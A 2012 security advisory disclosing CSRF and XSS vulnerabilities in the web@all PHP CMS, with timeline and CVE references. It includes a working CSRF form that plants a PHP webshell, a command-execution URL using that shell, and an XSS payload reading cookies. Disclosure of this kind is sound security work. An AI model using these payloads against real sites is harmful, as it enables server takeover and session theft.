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Multiple vulnerabilities in web@all

Advisory ID:HTB23094
Vendor: web@all
Vulnerable Versions:2.0 downloaded before 30th of May 2012; prior versions may also be vulnerable
Tested Version:2.0 downloaded on 25th of May 2012
Advisory Publication:May 30, 2012 [without technical details]
Vendor Notification:May 30, 2012
Vendor Fix:May 30, 2012
Public Disclosure:June 20, 2012
Latest Update:May 31, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-3231
Risk Level:High
CVSSv2 Base Scores:7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in web@all, which can be exploited to perform Сross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS) attacks.

1) Сross-Site Request Forgery (CSRF) in web@all: CVE-2012-3231
1.1 The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create arbitrary files.
To exploit this vulnerability an attacker should make logged-in administrator open a malicious link in browser.
The following CSRF PoC (Proof of Concept) will create a very simple webshell:
<form action="http://[host]/inc/browser/action.php" method="post" name="main" id="main">
<input type="hidden" name="content" value='<? system($_GET["cmd"]);?>'>
<input type="hidden" name="_file" value="cmd.php">
<input type="hidden" name="_act" value="do_addfile">
<input type="hidden" name="_echoMSG" value="js_silent">
<input type="submit" id="btn">

After a logged-in administrator visits the malicious page a webshell will normally allow remote command execution (depending on web server configuration):
http://[host]/cmd.php?cmd=ls -la;id;pwd;uname -a;

2) Cross-Site Scripting (XSS) in web@all: CVE-2012-3232
2.1 Input passed via the "_text[title]" GET parameter to /search.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://webatall/search.php?_text[title]=%3Cscript%3Ealert%28document.cookie% 29;%3C/script%3E

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Fixed by vendor on May 30, 2012 directly in the source code without version modification/new release. Upgrade to the version 2.0 released after May 30, 2012.

[1] High-Tech Bridge Advisory HTB23094 - - Multiple vulnerabilities in web@all.
[2] web@all - - web@all is a PHP content management system (CMS).
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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